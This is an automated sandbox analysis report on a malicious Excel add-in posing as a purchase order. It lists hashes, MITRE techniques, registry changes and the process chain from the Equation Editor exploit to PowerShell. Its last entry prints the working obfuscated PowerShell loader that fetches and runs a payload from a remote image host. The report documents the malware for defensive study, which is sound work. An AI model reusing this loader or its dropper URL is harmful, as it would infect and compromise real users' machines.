6eb428de0c5a04bb2c6cb00b171fa424331ba11fc1f9784380f73df5b9d324a5

Analysis

max time kernel
122s
max time network
125s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
19-09-2023 13:33

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Report Analysis Logs

General

Target

PO-4501226854_WJO-001.xlam
Size

620KB
MD5

a7be43b6c0c07ca83df1b743382063a2
SHA1

857f903eba27814a5c604d90fd1cf24bbfa33860
SHA256

6eb428de0c5a04bb2c6cb00b171fa424331ba11fc1f9784380f73df5b9d324a5
SHA512

f745ab56d21df2f27ec314c1e0ac9e4653a738c4b340fdec5dec0de0f5ec1a5fe19c55471b05e9871e11ef35ab8f5d732ff3045baf2d9678f87f9b97d85489df
SSDEEP

12288:zBbXAU6ZPspN/nNi21Q8dFAHkQRMG3DmRBVvHB1CElaliRHEM+QaNgJ:zBENPsHNDFVQRMG3DSBVvh1zaliRkMqM

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855

exe.dropper

https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
3	2636	EQNEDT32.EXE
6	3004	powershell.exe
8	3004	powershell.exe
10	3004	powershell.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Launches Equation Editor 1 TTPs 1 IoCs

Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

exploit

Exploitation for Client Execution

T1203

pid	Process
2636	EQNEDT32.EXE

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-607259312-1573743425-2763420908-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-607259312-1573743425-2763420908-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-607259312-1573743425-2763420908-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-607259312-1573743425-2763420908-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-607259312-1573743425-2763420908-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-607259312-1573743425-2763420908-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-607259312-1573743425-2763420908-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-607259312-1573743425-2763420908-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-607259312-1573743425-2763420908-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE

Modifies registry class 64 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\ = "&Print"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\mhtmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1700	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2672	powershell.exe
3004	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2672	powershell.exe
Token: SeDebugPrivilege	3004	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1700	EXCEL.EXE
1700	EXCEL.EXE
1700	EXCEL.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2636 wrote to memory of 2668	2636	EQNEDT32.EXE	29
PID 2636 wrote to memory of 2668	2636	EQNEDT32.EXE	29
PID 2636 wrote to memory of 2668	2636	EQNEDT32.EXE	29
PID 2636 wrote to memory of 2668	2636	EQNEDT32.EXE	29
PID 2668 wrote to memory of 2672	2668	WScript.exe	30
PID 2668 wrote to memory of 2672	2668	WScript.exe	30
PID 2668 wrote to memory of 2672	2668	WScript.exe	30
PID 2668 wrote to memory of 2672	2668	WScript.exe	30
PID 2672 wrote to memory of 3004	2672	powershell.exe	33
PID 2672 wrote to memory of 3004	2672	powershell.exe	33
PID 2672 wrote to memory of 3004	2672	powershell.exe	33
PID 2672 wrote to memory of 3004	2672	powershell.exe	33

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\PO-4501226854_WJO-001.xlam
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1700

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:2636
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\haxhsiplio.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2668
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'J░░░Bp░░░G0░░░YQBn░░░GU░░░VQBy░░░Gw░░░I░░░░░░9░░░C░░░░░░JwBo░░░HQ░░░d░░░Bw░░░HM░░░Og░░░v░░░C8░░░dQBw░░░Gw░░░bwBh░░░GQ░░░Z░░░Bl░░░Gk░░░bQBh░░░Gc░░░ZQBu░░░HM░░░LgBj░░░G8░░░bQ░░░u░░░GI░░░cg░░░v░░░Gk░░░bQBh░░░Gc░░░ZQBz░░░C8░░░M░░░░░░w░░░DQ░░░Lw░░░1░░░DY░░░Mw░░░v░░░DY░░░Mg░░░x░░░C8░░░bwBy░░░Gk░░░ZwBp░░░G4░░░YQBs░░░C8░░░dQBu░░░Gk░░░dgBl░░░HI░░░cwBv░░░F8░░░dgBi░░░HM░░░LgBq░░░H░░░░░░ZQBn░░░D8░░░MQ░░░2░░░Dk░░░M░░░░░░5░░░DM░░░MQ░░░4░░░DU░░░NQ░░░n░░░Ds░░░J░░░B3░░░GU░░░YgBD░░░Gw░░░aQBl░░░G4░░░d░░░░░░g░░░D0░░░I░░░BO░░░GU░░░dw░░░t░░░E8░░░YgBq░░░GU░░░YwB0░░░C░░░░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBO░░░GU░░░d░░░░░░u░░░Fc░░░ZQBi░░░EM░░░b░░░Bp░░░GU░░░bgB0░░░Ds░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░QgB5░░░HQ░░░ZQBz░░░C░░░░░░PQ░░░g░░░CQ░░░dwBl░░░GI░░░QwBs░░░Gk░░░ZQBu░░░HQ░░░LgBE░░░G8░░░dwBu░░░Gw░░░bwBh░░░GQ░░░R░░░Bh░░░HQ░░░YQ░░░o░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FU░░░cgBs░░░Ck░░░Ow░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBU░░░GU░░░e░░░B0░░░C░░░░░░PQ░░░g░░░Fs░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBU░░░GU░░░e░░░B0░░░C4░░░RQBu░░░GM░░░bwBk░░░Gk░░░bgBn░░░F0░░░Og░░░6░░░FU░░░V░░░BG░░░Dg░░░LgBH░░░GU░░░d░░░BT░░░HQ░░░cgBp░░░G4░░░Zw░░░o░░░CQ░░░aQBt░░░GE░░░ZwBl░░░EI░░░eQB0░░░GU░░░cw░░░p░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░RgBs░░░GE░░░Zw░░░g░░░D0░░░I░░░░░░n░░░Dw░░░P░░░BC░░░EE░░░UwBF░░░DY░░░N░░░Bf░░░FM░░░V░░░BB░░░FI░░░V░░░░░░+░░░D4░░░Jw░░░7░░░CQ░░░ZQBu░░░GQ░░░RgBs░░░GE░░░Zw░░░g░░░D0░░░I░░░░░░n░░░Dw░░░P░░░BC░░░EE░░░UwBF░░░DY░░░N░░░Bf░░░EU░░░TgBE░░░D4░░░Pg░░░n░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░PQ░░░g░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FQ░░░ZQB4░░░HQ░░░LgBJ░░░G4░░░Z░░░Bl░░░Hg░░░TwBm░░░Cg░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░RgBs░░░GE░░░Zw░░░p░░░Ds░░░J░░░Bl░░░G4░░░Z░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░I░░░░░░9░░░C░░░░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░V░░░Bl░░░Hg░░░d░░░░░░u░░░Ek░░░bgBk░░░GU░░░e░░░BP░░░GY░░░K░░░░░░k░░░GU░░░bgBk░░░EY░░░b░░░Bh░░░Gc░░░KQ░░░7░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░C0░░░ZwBl░░░C░░░░░░M░░░░░░g░░░C0░░░YQBu░░░GQ░░░I░░░░░░k░░░GU░░░bgBk░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░C0░░░ZwB0░░░C░░░░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░Kw░░░9░░░C░░░░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░RgBs░░░GE░░░Zw░░░u░░░Ew░░░ZQBu░░░Gc░░░d░░░Bo░░░Ds░░░J░░░Bi░░░GE░░░cwBl░░░DY░░░N░░░BM░░░GU░░░bgBn░░░HQ░░░a░░░░░░g░░░D0░░░I░░░░░░k░░░GU░░░bgBk░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░C0░░░I░░░░░░k░░░HM░░░d░░░Bh░░░HI░░░d░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░Ow░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░EM░░░bwBt░░░G0░░░YQBu░░░GQ░░░I░░░░░░9░░░C░░░░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░V░░░Bl░░░Hg░░░d░░░░░░u░░░FM░░░dQBi░░░HM░░░d░░░By░░░Gk░░░bgBn░░░Cg░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░Cw░░░I░░░░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░Ew░░░ZQBu░░░Gc░░░d░░░Bo░░░Ck░░░Ow░░░k░░░GM░░░bwBt░░░G0░░░YQBu░░░GQ░░░QgB5░░░HQ░░░ZQBz░░░C░░░░░░PQ░░░g░░░Fs░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBD░░░G8░░░bgB2░░░GU░░░cgB0░░░F0░░░Og░░░6░░░EY░░░cgBv░░░G0░░░QgBh░░░HM░░░ZQ░░░2░░░DQ░░░UwB0░░░HI░░░aQBu░░░Gc░░░K░░░░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░EM░░░bwBt░░░G0░░░YQBu░░░GQ░░░KQ░░░7░░░CQ░░░b░░░Bv░░░GE░░░Z░░░Bl░░░GQ░░░QQBz░░░HM░░░ZQBt░░░GI░░░b░░░B5░░░C░░░░░░PQ░░░g░░░Fs░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBS░░░GU░░░ZgBs░░░GU░░░YwB0░░░Gk░░░bwBu░░░C4░░░QQBz░░░HM░░░ZQBt░░░GI░░░b░░░B5░░░F0░░░Og░░░6░░░Ew░░░bwBh░░░GQ░░░K░░░░░░k░░░GM░░░bwBt░░░G0░░░YQBu░░░GQ░░░QgB5░░░HQ░░░ZQBz░░░Ck░░░Ow░░░k░░░HQ░░░eQBw░░░GU░░░I░░░░░░9░░░C░░░░░░J░░░Bs░░░G8░░░YQBk░░░GU░░░Z░░░BB░░░HM░░░cwBl░░░G0░░░YgBs░░░Hk░░░LgBH░░░GU░░░d░░░BU░░░Hk░░░c░░░Bl░░░Cg░░░JwBG░░░Gk░░░YgBl░░░HI░░░LgBI░░░G8░░░bQBl░░░Cc░░░KQ░░░7░░░CQ░░░bQBl░░░HQ░░░a░░░Bv░░░GQ░░░I░░░░░░9░░░C░░░░░░J░░░B0░░░Hk░░░c░░░Bl░░░C4░░░RwBl░░░HQ░░░TQBl░░░HQ░░░a░░░Bv░░░GQ░░░K░░░░░░n░░░FY░░░QQBJ░░░Cc░░░KQ░░░7░░░CQ░░░YQBy░░░Gc░░░dQBt░░░GU░░░bgB0░░░HM░░░I░░░░░░9░░░C░░░░░░L░░░░░░o░░░Cc░░░d░░░B4░░░HQ░░░LgBi░░░Hg░░░YQBn░░░Gk░░░bg░░░v░░░DI░░░NQ░░░u░░░Dg░░░N░░░░░░u░░░D░░░░░░MQ░░░x░░░C4░░░OQ░░░3░░░C8░░░Lw░░░6░░░H░░░░░░d░░░B0░░░Gg░░░Jw░░░p░░░Ds░░░J░░░Bt░░░GU░░░d░░░Bo░░░G8░░░Z░░░░░░u░░░Ek░░░bgB2░░░G8░░░awBl░░░Cg░░░J░░░Bu░░░HU░░░b░░░Bs░░░Cw░░░I░░░░░░k░░░GE░░░cgBn░░░HU░░░bQBl░░░G4░░░d░░░Bz░░░Ck░░░'";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('░░░','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""
    3⤵
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2672
